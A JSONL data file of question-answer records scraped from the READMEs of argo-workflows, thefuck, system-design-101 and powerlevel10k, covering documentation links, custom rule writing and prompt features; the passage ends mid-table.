{"id": "gh_b22969761a97", "question": "How to: Documentation", "question_body": "About argoproj/argo-workflows", "answer": "[View the docs](https://argo-workflows.readthedocs.io/en/latest/)", "tags": ["argoproj"], "source": "github_gists", "category": "argoproj", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 16365, "answer_score": 10, "has_code": false, "url": "https://github.com/argoproj/argo-workflows", "collected_at": "2026-01-17T08:15:46.494325"}
{"id": "gh_9424085a18ad", "question": "How to: Community Meetings", "question_body": "About argoproj/argo-workflows", "answer": "We host monthly community meetings where we and the community showcase demos and discuss the current and future state of the project. Feel free to join us!\nFor Community Meeting information, minutes and recordings, please [see here](https://bit.ly/argo-wf-cmty-mtng).\n\nParticipation in Argo Workflows is governed by the [CNCF Code of Conduct](https://github.com/cncf/foundation/blob/master/code-of-conduct.md)", "tags": ["argoproj"], "source": "github_gists", "category": "argoproj", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 16365, "answer_score": 10, "has_code": false, "url": "https://github.com/argoproj/argo-workflows", "collected_at": "2026-01-17T08:15:46.494335"}
{"id": "gh_9170be086bff", "question": "How to: Community Blogs and Presentations", "question_body": "About argoproj/argo-workflows", "answer": "* [Awesome-Argo: A Curated List of Awesome Projects and Resources Related to Argo](https://github.com/terrytangyuan/awesome-argo)\n* [Automation of Everything - How To Combine Argo Events, Workflows & Pipelines, CD, and Rollouts](https://youtu.be/XNXJtxkUKeY)\n* [Argo Workflows and Pipelines - CI/CD, Machine Learning, and Other Kubernetes Workflows](https://youtu.be/UMaivwrAyTA)\n* [Argo Ansible role: Provisioning Argo Workflows on OpenShift](https://medium.com/@marekermk/provisioning-argo-on-openshift-with-ansible-and-kustomize-340a1fda8b50)\n* [Argo Workflows vs Apache Airflow](http://bit.ly/30YNIvT)\n* [Beyond Prototypes: Production-Ready ML Systems with Metaflow and Argo](https://github.com/terrytangyuan/public-talks/tree/main/talks/kubecon-na-2023-metaflow-argo)\n* [CI/CD with Argo on Kubernetes](https://medium.com/@bouwe.ceunen/ci-cd-with-argo-on-kubernetes-28c1a99616a9)\n* [Define Your CI/CD Pipeline with Argo Workflows](https://haque-zubair.medium.com/define-your-ci-cd-pipeline-with-argo-workflows-25aefb02fa63)\n* [Distributed Machine Learning Patterns from Manning Publication](https://github.com/terrytangyuan/distributed-ml-patterns)\n* [Engineering Cloud Native AI Platform](https://github.com/terrytangyuan/public-talks/tree/main/talks/platform-con-2024-engineering-cloud-native-ai-platform)\n* [Managing Thousands of Automatic Machine Learning Experiments with Argo and Katib](https://github.com/terrytangyuan/public-talks/blob/main/talks/argocon-automl-experiments-2022)\n* [Autonomous Driving Data Pipelines Reconstruction With Argo Workflows](https://www.youtube.com/watch?v=oTgIQxbsLhU)\n* [Revolutionizing Scientific Simulations with Argo Workflows](https://www.youtube.com/watch?v=BYVf7GhfiRg)\n* [Running Argo Workflows Across Multiple Kubernetes Clusters](https://admiralty.io/blog/running-argo-workflows-across-multiple-kubernetes-clusters/)\n* [Scaling Kubernetes: Best Practices for Managing Large-Scale Batch Jobs with Spark and Argo Workflow](https://www.youtube.com/watch?v=KqEKRPjy4aE)\n* [Open Source Model Management Roundup: Polyaxon, Argo, and Seldon](https://www.anaconda.com/blog/developer-blog/open-source-model-management-roundup-polyaxon-argo-and-seldon/)\n* [Producing 200 OpenStreetMap extracts in 35 minutes using a scalable data workflow](https://www.interline.io/blog/scaling-openstreetmap-data-workflows/)\n* [Production-Ready AI Platform on Kubernetes](https://github.com/terrytangyuan/public-talks/tree/main/talks/kubecon-europe-2024-production-ai-platform-on-k8s)\n* [Argo integration review](http://dev.matt.hillsdon.net/2018/03/24/argo-integration-review.html)\n* TGI Kubernetes with Joe Beda: [Argo workflow system](https://www.youtube.com/watch?v=M_rxPPLG8pU&start=859)", "tags": ["argoproj"], "source": "github_gists", "category": "argoproj", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 16365, "answer_score": 10, "has_code": false, "url": "https://github.com/argoproj/argo-workflows", "collected_at": "2026-01-17T08:15:46.494346"}
{"id": "gh_a8fc7540ec97", "question": "How to: Project Resources", "question_body": "About argoproj/argo-workflows", "answer": "* [Argo Project GitHub organization](https://github.com/argoproj)\n* [Argo Website](https://argoproj.github.io/)\n* [Argo Slack](https://argoproj.github.io/community/join-slack)", "tags": ["argoproj"], "source": "github_gists", "category": "argoproj", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 16365, "answer_score": 10, "has_code": false, "url": "https://github.com/argoproj/argo-workflows", "collected_at": "2026-01-17T08:15:46.494351"}
{"id": "gh_6b468a5a5936", "question": "How to: Requirements", "question_body": "About nvbn/thefuck", "answer": "- python (3.5+)\n- pip\n- python-dev\n\n##### [Back to Contents](#contents)", "tags": ["nvbn"], "source": "github_gists", "category": "nvbn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 95214, "answer_score": 10, "has_code": false, "url": "https://github.com/nvbn/thefuck", "collected_at": "2026-01-17T08:15:57.700111"}
{"id": "gh_4cd1e3ae1668", "question": "How to: Creating your own rules", "question_body": "About nvbn/thefuck", "answer": "To add your own rule, create a file named `your-rule-name.py`\nin `~/.config/thefuck/rules`. The rule file must contain two functions:\n\n```python\nmatch(command: Command) -> bool\nget_new_command(command: Command) -> str | list[str]\n```\n\nAdditionally, rules can contain optional functions:\n\n```python\nside_effect(old_command: Command, fixed_command: str) -> None\n```\nRules can also contain the optional variables `enabled_by_default`, `requires_output` and `priority`.\n\n`Command` has three attributes: `script`, `output` and `script_parts`.\nYour rule should not change `Command`.\n\n**Rules api changed in 3.0:** To access a rule's settings, import it with\n `from thefuck.conf import settings`\n\n`settings` is a special object assembled from `~/.config/thefuck/settings.py`,\nand values from env ([see more below](#settings)).\n\nA simple example rule for running a script with `sudo`:\n\n```python\ndef match(command):\n    return ('permission denied' in command.output.lower()\n            or 'EACCES' in command.output)\n\ndef get_new_command(command):\n    return 'sudo {}'.format(command.script)", "tags": ["nvbn"], "source": "github_gists", "category": "nvbn", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 95214, "answer_score": 10, "has_code": true, "url": "https://github.com/nvbn/thefuck", "collected_at": "2026-01-17T08:15:57.700212"}
{"id": "gh_a1fbbff62544", "question": "How to: License MIT", "question_body": "About nvbn/thefuck", "answer": "Project License can be found [here](LICENSE.md).\n\n[version-badge]:   https://img.shields.io/pypi/v/thefuck.svg?label=version\n[version-link]:    https://pypi.python.org/pypi/thefuck/\n[workflow-badge]:  https://github.com/nvbn/thefuck/workflows/Tests/badge.svg\n[workflow-link]:   https://github.com/nvbn/thefuck/actions?query=workflow%3ATests\n[coverage-badge]:  https://img.shields.io/coveralls/nvbn/thefuck.svg\n[coverage-link]:   https://coveralls.io/github/nvbn/thefuck\n[license-badge]:   https://img.shields.io/badge/license-MIT-007EC7.svg\n[examples-link]:   https://raw.githubusercontent.com/nvbn/thefuck/master/example.gif\n[instant-mode-gif-link]:   https://raw.githubusercontent.com/nvbn/thefuck/master/example_instant_mode.gif\n[homebrew]:        https://brew.sh/\n\n##### [Back to Contents](#contents)", "tags": ["nvbn"], "source": "github_gists", "category": "nvbn", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 95214, "answer_score": 10, "has_code": true, "url": "https://github.com/nvbn/thefuck", "collected_at": "2026-01-17T08:15:57.700238"}
{"id": "gh_eacc9d3b1617", "question": "How to: System Design 101", "question_body": "About ByteByteGoHq/system-design-101", "answer": "Explain complex systems using visuals and simple terms. \n\nWhether you're preparing for a System Design Interview or you simply want to understand how systems work beneath the surface, we hope this repository will help you achieve that.", "tags": ["ByteByteGoHq"], "source": "github_gists", "category": "ByteByteGoHq", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 78975, "answer_score": 10, "has_code": false, "url": "https://github.com/ByteByteGoHq/system-design-101", "collected_at": "2026-01-17T08:16:42.550457"}
{"id": "gh_5ccf232769c9", "question": "How to: Table of Contents", "question_body": "About ByteByteGoHq/system-design-101", "answer": "* [API and Web Development](https://bytebytego.com/guides/api-web-development)\n  * [Short/long polling, SSE, WebSocket](https://bytebytego.com/guides/shortlong-polling-sse-websocket)\n  * [Load Balancer Realistic Use Cases](https://bytebytego.com/guides/load-balancer-realistic-use-cases-you-may-not-know)\n  * [5 HTTP Status Codes That Should Never Have Been Created](https://bytebytego.com/guides/5-http-status-codes-that-should-never-have-been-created)\n  * [How does gRPC work?](https://bytebytego.com/guides/how-does-grpc-work)\n  * [How NAT Enabled the Internet](https://bytebytego.com/guides/how-nat-made-the-growth-of-the-internet-possible)\n  * [Important Things About HTTP Headers](https://bytebytego.com/guides/important-things-about-http-headers-you-may-not-know)\n  * [Internet Traffic Routing Policies](https://bytebytego.com/guides/internet-traffic-routing-policies)\n  * [How Browsers Render Web Pages](https://bytebytego.com/guides/how-does-the-browser-render-a-web-page)\n  * [What makes HTTP2 faster than HTTP1?](https://bytebytego.com/guides/what-makes-http2-faster-than-http1)\n  * [What is CSS (Cascading Style Sheets)?](https://bytebytego.com/guides/what-is-css-cascading-style-sheets)\n  * [Key Use Cases for Load Balancers](https://bytebytego.com/guides/key-use-cases-for-load-balancers)\n  * [18 Common Ports Worth Knowing](https://bytebytego.com/guides/18-common-ports-worth-knowing)\n  * [What are the differences between WAN, LAN, PAN and MAN?](https://bytebytego.com/guides/what-are-the-differences-between-wan-lan-pan-and-man)\n  * [How does Javascript Work?](https://bytebytego.com/guides/how-does-javascript-work)\n  * [8 Tips for Efficient API Design](https://bytebytego.com/guides/8-tips-for-efficient-api-design)\n  * [Reverse Proxy vs. API Gateway vs. Load Balancer](https://bytebytego.com/guides/reverse-proxy-vs-api-gateway-vs-load-balancer)\n  * [How does REST API work?](https://bytebytego.com/guides/how-does-rest-api-work)\n  * [Load Balancer vs. API Gateway](https://bytebytego.com/guides/what-are-the-differences-between-a-load-balancer-and-an-api-gateway)\n  * [How GraphQL Works at LinkedIn](https://bytebytego.com/guides/how-does-graphql-work-in-the-real-world)\n  * [GraphQL Adoption Patterns](https://bytebytego.com/guides/graphql-adoption-patterns)\n  * [A cheat sheet for API designs](https://bytebytego.com/guides/a-cheat-sheet-for-api-designs)\n  * [API Gateway 101](https://bytebytego.com/guides/api-gateway-101)\n  * [Top 3 API Gateway Use Cases](https://bytebytego.com/guides/top-3-api-gateway-use-cases)\n  * [What do version numbers mean?](https://bytebytego.com/guides/what-do-version-numbers-mean)\n  * [Do you know all the components of a URL?](https://bytebytego.com/guides/do-you-know-all-the-components-of-a-url)\n  * [Unicast vs Broadcast vs Multicast vs Anycast](https://bytebytego.com/guides/unicast-vs-broadcast-vs-multicast-vs-anycast)\n  * [10 Essential Components of a Production Web Application](https://bytebytego.com/guides/10-essential-components-of-a-production-web-application)\n  * [URL, URI, URN - Differences Explained](https://bytebytego.com/guides/url-uri-urn-do-you-know-the-differences)\n  * [API vs SDK](https://bytebytego.com/guides/api-vs-sdk)\n  * [A Cheatsheet to Build Secure APIs](https://bytebytego.com/guides/a-cheatsheet-to-build-secure-apis)\n  * [HTTP Status Codes You Should Know](https://bytebytego.com/guides/http-status-code-you-should-know)\n  * [SOAP vs REST vs GraphQL vs RPC](https://bytebytego.com/guides/soap-vs-rest-vs-graphql-vs-rpc)\n  * [A Cheatsheet on Comparing API Architectural Styles](https://bytebytego.com/guides/a-cheatsheet-on-comparing-api-architectural-styles)\n  * [Top 9 HTTP Request Methods](https://bytebytego.com/guides/top-9-http-request-methods)\n  * [What is a Load Balancer?](https://bytebytego.com/guides/what-is-a-load-balancer)\n  * [Proxy vs Reverse Proxy](https://bytebytego.com/guides/proxy-vs-reverse-proxy)\n  * [HTTP/1 -> HTTP/2 -> HTTP/3](https://bytebytego.com/guides/http1-http2-http3)\n  * [Polling vs Webhooks](https://bytebytego.com/guides/polling-vs-webhooks)\n  * [How do we Perform Pagination in API Design?](https://bytebytego.com/guides/how-do-we-perform-pagination-in-api-design)\n  * [How to Design Effective and Safe APIs](https://bytebytego.com/guides/how-do-we-design-effective-and-safe-apis)\n  * [How to Design Secure Web API Access](https://bytebytego.com/guides/how-to-design-secure-web-api-access-for-your-website)\n  * [What Does an API Gateway Do?](https://bytebytego.com/guides/what-does-api-gateway-do)\n  * [What is gRPC?](https://bytebytego.com/guides/what-is-grpc)\n  * [Top 12 Tips for API Security](https://bytebytego.com/guides/top-12-tips-for-api-security)\n  * [Explaining 9 Types of API Testing](https://bytebytego.com/guides/explaining-9-types-of-api-testing)\n  * [REST API vs. GraphQL](https://bytebytego.com/guides/rest-api-vs-graphql)\n  * [What is GraphQL?](https://bytebytego.com/guides/what-is-graphql)\n  * [REST API Cheatsheet](https://bytebytego.co", "tags": ["ByteByteGoHq"], "source": "github_gists", "category": "ByteByteGoHq", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 78975, "answer_score": 10, "has_code": false, "url": "https://github.com/ByteByteGoHq/system-design-101", "collected_at": "2026-01-17T08:16:42.550613"}
{"id": "gh_b49871d6444c", "question": "How to: Getting started", "question_body": "About romkatv/powerlevel10k", "answer": "1. [Install the recommended font](#meslo-nerd-font-patched-for-powerlevel10k). *Optional but highly\n   recommended.*\n1. [Install Powerlevel10k](#installation) itself.\n1. Restart Zsh with `exec zsh`.\n1. Type `p10k configure` if the configuration wizard doesn't start automatically.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060539"}
{"id": "gh_731d7ecb59cd", "question": "How to: Configuration wizard", "question_body": "About romkatv/powerlevel10k", "answer": "Type `p10k configure` to access the builtin configuration wizard right from your terminal.\nScreen recording\n![Powerlevel10k Configuration Wizard](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/configuration-wizard.gif)\nAll styles except [Pure](#pure-compatibility) are functionally equivalent. They display the same\ninformation and differ only in presentation.\n\nConfiguration wizard creates `~/.p10k.zsh` based on your preferences. Additional prompt\ncustomization can be done by editing this file. It has plenty of comments to help you navigate\nthrough configuration options.\n\n*Tip*: Install [the recommended font](#meslo-nerd-font-patched-for-powerlevel10k) before\nrunning `p10k configure` to unlock all prompt styles.\n\n*FAQ:*\n\n- [What is the best prompt style in the configuration wizard?](\n    #what-is-the-best-prompt-style-in-the-configuration-wizard)\n- [What do different symbols in Git status mean?](\n    #what-do-different-symbols-in-git-status-mean)\n- [How do I change prompt colors?](#how-do-i-change-prompt-colors)\n\n*Troubleshooting*:\n\n- [Some prompt styles are missing from the configuration wizard](\n    #some-prompt-styles-are-missing-from-the-configuration-wizard).\n- [Question mark in prompt](#question-mark-in-prompt).\n- [Icons, glyphs or powerline symbols don't render](#icons-glyphs-or-powerline-symbols-dont-render).\n- [Sub-pixel imperfections around powerline symbols](\n    #sub-pixel-imperfections-around-powerline-symbols).\n- [Directory is difficult to see in prompt when using Rainbow style](\n    #directory-is-difficult-to-see-in-prompt-when-using-rainbow-style).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060558"}
{"id": "gh_88e21da6b8d7", "question": "How to: Uncompromising performance", "question_body": "About romkatv/powerlevel10k", "answer": "When you hit *ENTER*, the next prompt appears instantly. With Powerlevel10k there is no prompt lag.\nIf you install Cygwin on Raspberry Pi, `cd` into a Linux Git repository and activate enough prompt\nsegments to fill four prompt lines on both sides of the screen... wait, that's just crazy and no\none ever does that. Probably impossible, too. The point is, Powerlevel10k prompt is always fast, no\nmatter what you do!\nScreen recording\n![Powerlevel10k Performance](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/performance.gif)\nNote how the effect of every command is instantly reflected by the very next prompt.\n\n| Command                       | Prompt Indicator | Meaning                                                               |\n|-------------------------------|:----------------:|----------------------------------------------------------------------:|\n| `timew start hack linux`      | `⌚ hack linux`  | time tracking enabled in [timewarrior](https://timewarrior.net/)      |\n| `touch x y`                   | `?2`             | 2 untracked files in the Git repo                                     |\n| `rm COPYING`                  | `!1`             | 1 unstaged change in the Git repo                                     |\n| `echo 3.7.3 >.python-version` | `🐍 3.7.3`       | the current python version in [pyenv](https://github.com/pyenv/pyenv) |\n\nOther Zsh themes capable of displaying the same information either produce prompt lag or print\nprompt that doesn't reflect the current state of the system and then refresh it later. With\nPowerlevel10k you get fast prompt *and* up-to-date information.\n\n*FAQ*: [Is it really fast?](#is-it-really-fast)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060572"}
{"id": "gh_3811717a7bd5", "question": "How to: Powerlevel9k compatibility", "question_body": "About romkatv/powerlevel10k", "answer": "Powerlevel10k understands all [Powerlevel9k](https://github.com/Powerlevel9k/powerlevel9k)\nconfiguration parameters.\nScreen recording\n![Powerlevel10k Compatibility with 9k](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/9k-compatibility.gif)\n[Migration](#installation) from Powerlevel9k to Powerlevel10k is a straightforward process. All\nyour `POWERLEVEL9K` configuration parameters will still work. Prompt will look the same as before\n([almost](\n  #does-powerlevel10k-always-render-exactly-the-same-prompt-as-powerlevel9k-given-the-same-config))\nbut it will be [much faster](#uncompromising-performance) ([certainly](#is-it-really-fast)).\n\n*FAQ*:\n\n- [I'm using Powerlevel9k with Oh My Zsh. How do I migrate?](\n    #im-using-powerlevel9k-with-oh-my-zsh-how-do-i-migrate)\n- [Does Powerlevel10k always render exactly the same prompt as Powerlevel9k given the same config?](\n    #does-powerlevel10k-always-render-exactly-the-same-prompt-as-powerlevel9k-given-the-same-config)\n- [What is the relationship between Powerlevel9k and Powerlevel10k?](\n    #What-is-the-relationship-between-powerlevel9k-and-powerlevel10k)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060580"}
{"id": "gh_d729d2f0dae1", "question": "How to: Pure compatibility", "question_body": "About romkatv/powerlevel10k", "answer": "Powerlevel10k can produce the same prompt as [Pure](https://github.com/sindresorhus/pure). Type\n`p10k configure` and select *Pure* style.\nScreen recording\n![Powerlevel10k Pure Style](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/pure-style.gif)\nYou can still use Powerlevel10k features such as [transient prompt](#transient-prompt) or\n[instant prompt](#instant-prompt) when sporting Pure style.\n\nTo customize prompt, edit `~/.p10k.zsh`. Powerlevel10k doesn't recognize Pure configuration\nparameters, so you'll need to use `POWERLEVEL9K_COMMAND_EXECUTION_TIME_THRESHOLD=3` instead of\n`PURE_CMD_MAX_EXEC_TIME=3`, etc. All relevant parameters are in `~/.p10k.zsh`. This file has\nplenty of comments to help you navigate through it.\n\n*FAQ:* [What is the best prompt style in the configuration wizard?](\n  #what-is-the-best-prompt-style-in-the-configuration-wizard)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060587"}
{"id": "gh_474873b18ed9", "question": "How to: <a name='what-is-instant-prompt'></a>Instant prompt", "question_body": "About romkatv/powerlevel10k", "answer": "If your `~/.zshrc` loads many plugins, or perhaps just a few slow ones\n(for example, [pyenv](https://github.com/pyenv/pyenv) or [nvm](https://github.com/nvm-sh/nvm)), you\nmay have noticed that it takes some time for Zsh to start.\nScreen recording\n![Powerlevel10k No Instant Prompt](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/no-instant-prompt.gif)\nPowerlevel10k can remove Zsh startup lag **even if it's not caused by a theme**.\nScreen recording\n![Powerlevel10k Instant Prompt](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/instant-prompt.gif)\nThis feature is called *Instant Prompt*. You need to explicitly enable it through `p10k configure`\nor [manually](#how-do-i-configure-instant-prompt). It does what it says on the tin -- prints prompt\ninstantly upon Zsh startup allowing you to start typing while plugins are still loading.\n\nOther themes *increase* Zsh startup lag -- some by a lot, others by a just a little. Powerlevel10k\n*removes* it outright.\n\nIf you are curious about how *Instant Prompt* works, see\n[this section in zsh-bench](https://github.com/romkatv/zsh-bench#instant-prompt).\n\n*FAQ:* [How do I configure instant prompt?](#how-do-i-configure-instant-prompt)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060595"}
{"id": "gh_acf586d5553d", "question": "How to: Show on command", "question_body": "About romkatv/powerlevel10k", "answer": "The behavior of some commands depends on global environment. For example, `kubectl run ...` runs an\nimage on the cluster defined by the current kubernetes context. If you frequently change context\nbetween \"prod\" and \"testing\", you might want to display the current context in Zsh prompt. If you do\nlikewise for AWS, Azure and Google Cloud credentials, prompt will get pretty crowded.\n\nEnter *Show On Command*. This feature makes prompt segments appear only when they are relevant to\nthe command you are currently typing.\nScreen recording\n![Powerlevel10k Show On Command](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/show-on-command.gif)\nConfigs created by `p10k configure` enable show on command for several prompt segments by default.\nHere's the relevant parameter for kubernetes context:\n\n```zsh", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060601"}
{"id": "gh_105a5e5fd60f", "question": "How to: Show prompt segment \"kubecontext\" only when the command you are typing invokes one of these tools.", "question_body": "About romkatv/powerlevel10k", "answer": "typeset -g POWERLEVEL9K_KUBECONTEXT_SHOW_ON_COMMAND='kubectl|helm|kubens'\n```\n\nTo customize when different prompt segments are shown, open `~/.p10k.zsh`, search for\n`SHOW_ON_COMMAND` and either remove these parameters to display affected segments unconditionally,\nor change their values.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060607"}
{"id": "gh_c44846e9f187", "question": "How to: Transient prompt", "question_body": "About romkatv/powerlevel10k", "answer": "When *Transient Prompt* is enabled through `p10k configure`, Powerlevel10k will trim down every\nprompt when accepting a command line.\nScreen recording\n![Powerlevel10k Transient Prompt](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/transient-prompt.gif)\nTransient prompt makes it much easier to copy-paste series of commands from the terminal scrollback.\n\n*Tip*: If you enable transient prompt, take advantage of two-line prompt. You'll get the benefit of\nextra space for typing commands without the usual drawback of reduced scrollback density. Sparse\nprompt (with an empty line before prompt) also works great in combination with transient prompt.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060612"}
{"id": "gh_a5a54525b414", "question": "How to: Current directory that just works", "question_body": "About romkatv/powerlevel10k", "answer": "The current working directory is perhaps the most important prompt segment. Powerlevel10k goes to\ngreat length to highlight its important parts and to truncate it with the least loss of information\nwhen horizontal space gets scarce.\nScreen recording\n![Powerlevel10k Directory Truncation](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/directory-truncation.gif)\nWhen the full directory doesn't fit, the leftmost segment gets truncated to its shortest unique\nprefix. In the screencast, `~/work` becomes `~/wo`. It couldn't be truncated to `~/w` because it\nwould be ambiguous (there was `~/wireguard` when the session was recorded). The next segment --\n`projects` -- turns into `p` as there was nothing else that started with `p` in `~/work/`.\n\nDirectory segments are shown in one of three colors:\n\n- Truncated segments are bleak.\n- Important segments are bright and never truncated. These include the first and the last segment,\n  roots of Git repositories, etc.\n- Regular segments (not truncated but can be) use in-between color.\n\n*Tip*: If you copy-paste a truncated directory and hit *TAB*, it'll complete to the original.\n\n*Troubleshooting*: [Directory is difficult to see in prompt when using Rainbow style.](\n  #directory-is-difficult-to-see-in-prompt-when-using-rainbow-style)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060620"}
{"id": "gh_f7dde2afcc8c", "question": "How to: Extremely customizable", "question_body": "About romkatv/powerlevel10k", "answer": "Powerlevel10k can be configured to look like any other Zsh theme out there.\nScreen recording\n![Powerlevel10k Other Theme Emulation](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/other-theme-emulation.gif)\n[Pure](#pure-compatibility), [Powerlevel9k](#powerlevel9k-compatibility) and [robbyrussell](\n  #how-to-make-powerlevel10k-look-like-robbyrussell-oh-my-zsh-theme) emulations are built-in.\nTo emulate the appearance of other themes, you'll need to write a suitable configuration file. The\nbest way to go about it is to run `p10k configure`, select the style that is the closest to your\ngoal and then edit `~/.p10k.zsh`.\n\nThe full range of Powerlevel10k appearance spans from spartan:\n\n![Powerlevel10k Spartan Style](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/spartan-style.png)\n\nTo ~~ridiculous~~ extravagant:\n\n![Powerlevel10k Extravagant Style](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/extravagant-style.png)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060626"}
{"id": "gh_5a1ae5a024a5", "question": "How to: Batteries included", "question_body": "About romkatv/powerlevel10k", "answer": "Powerlevel10k comes with dozens of built-in high quality prompt segments that can display\ninformation from a variety of sources. When you run `p10k configure` and choose any style\nexcept [Pure](#pure-compatibility), many of these segments get enabled by\ndefault while others can be manually enabled by opening `~/.p10k.zsh` and uncommenting them.\nYou can enable as many segments as you like. It won't slow down your prompt or Zsh startup.\n\n| Segment | Meaning |\n|--------:|---------|\n| `anaconda` | virtual environment from [conda](https://conda.io/) |\n| `asdf` | tool versions from [asdf](https://github.com/asdf-vm/asdf) |\n| `aws` | [aws profile](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html) |\n| `aws_eb_env` | [aws elastic beanstalk](https://aws.amazon.com/elasticbeanstalk/) environment |\n| `azure` | [azure](https://docs.microsoft.com/en-us/cli/azure) account name |\n| `background_jobs` | presence of background jobs |\n| `battery` | internal battery state and charge level (yep, batteries *literally* included) |\n| `command_execution_time` | duration (wall time) of the last command |\n| `context` | user@hostname |\n| `cpu_arch` | CPU architecture |\n| `dir` | current working directory |\n| `direnv` | [direnv](https://direnv.net/) status |\n| `disk_usage` | disk usage |\n| `dotnet_version` | [dotnet](https://dotnet.microsoft.com) version |\n| `fvm` | flutter environment from [fvm](https://github.com/leoafarias/fvm) |\n| `gcloud` | [google cloud](https://cloud.google.com/) cli account and project |\n| `goenv` | go environment from [goenv](https://github.com/syndbg/goenv) |\n| `google_app_cred` | [google application credentials](https://cloud.google.com/docs/authentication/production) |\n| `go_version` | [go](https://golang.org) version |\n| `haskell_stack` | haskell version from [stack](https://haskellstack.org/) |\n| `ip` | IP address and bandwidth usage for a specified network interface |\n| `java_version` | [java](https://www.java.com/) version |\n| `jenv` | java environment from [jenv](https://github.com/jenv/jenv) |\n| `kubecontext` | current [kubernetes](https://kubernetes.io/) context |\n| `laravel_version` | [laravel php framework](https://laravel.com/) version |\n| `load` | CPU load |\n| `luaenv` | lua environment from [luaenv](https://github.com/cehoffman/luaenv) |\n| `midnight_commander` | [midnight commander](https://midnight-commander.org/) shell |\n| `nix_shell` | [nix shell](https://nixos.org/nixos/nix-pills/developing-with-nix-shell.html) indicator |\n| `nnn` | [nnn](https://github.com/jarun/nnn) shell |\n| `lf` | [lf](https://github.com/gokcehan/lf) shell |\n| `chezmoi_shell` | [chezmoi](https://www.chezmoi.io/) shell |\n| `nodeenv` | node.js environment from [nodeenv](https://github.com/ekalinin/nodeenv) |\n| `nodenv` | node.js environment from [nodenv](https://github.com/nodenv/nodenv) |\n| `node_version` | [node.js](https://nodejs.org/) version |\n| `nordvpn` | [nordvpn](https://nordvpn.com/) connection status |\n| `nvm` | node.js environment from [nvm](https://github.com/nvm-sh/nvm) |\n| `os_icon` | your OS logo (apple for macOS, swirl for debian, etc.) |\n| `package` | `name@version` from [package.json](https://docs.npmjs.com/files/package.json) |\n| `per_directory_history` | Oh My Zsh [per-directory-history](https://github.com/jimhester/per-directory-history) local/global indicator |\n| `perlbrew` | perl version from [perlbrew](https://github.com/gugod/App-perlbrew) |\n| `phpenv` | php environment from [phpenv](https://github.com/phpenv/phpenv) |\n| `php_version` | [php](https://www.php.net/) version |\n| `plenv` | perl environment from [plenv](https://github.com/tokuhirom/plenv) |\n| `prompt_char` | multi-functional prompt symbol; changes depending on vi mode: `❯`, `❮`, `V`, `▶` for insert, command, visual and replace mode respectively; turns red on error |\n| `proxy` | system-wide http/https/ftp proxy |\n| `public_ip` | public IP address |\n| `pyenv` | python environment from [pyenv](https://github.com/pyenv/pyenv) |\n| `ram` | free RAM |\n| `ranger` | [ranger](https://github.com/ranger/ranger) shell |\n| `yazi` | 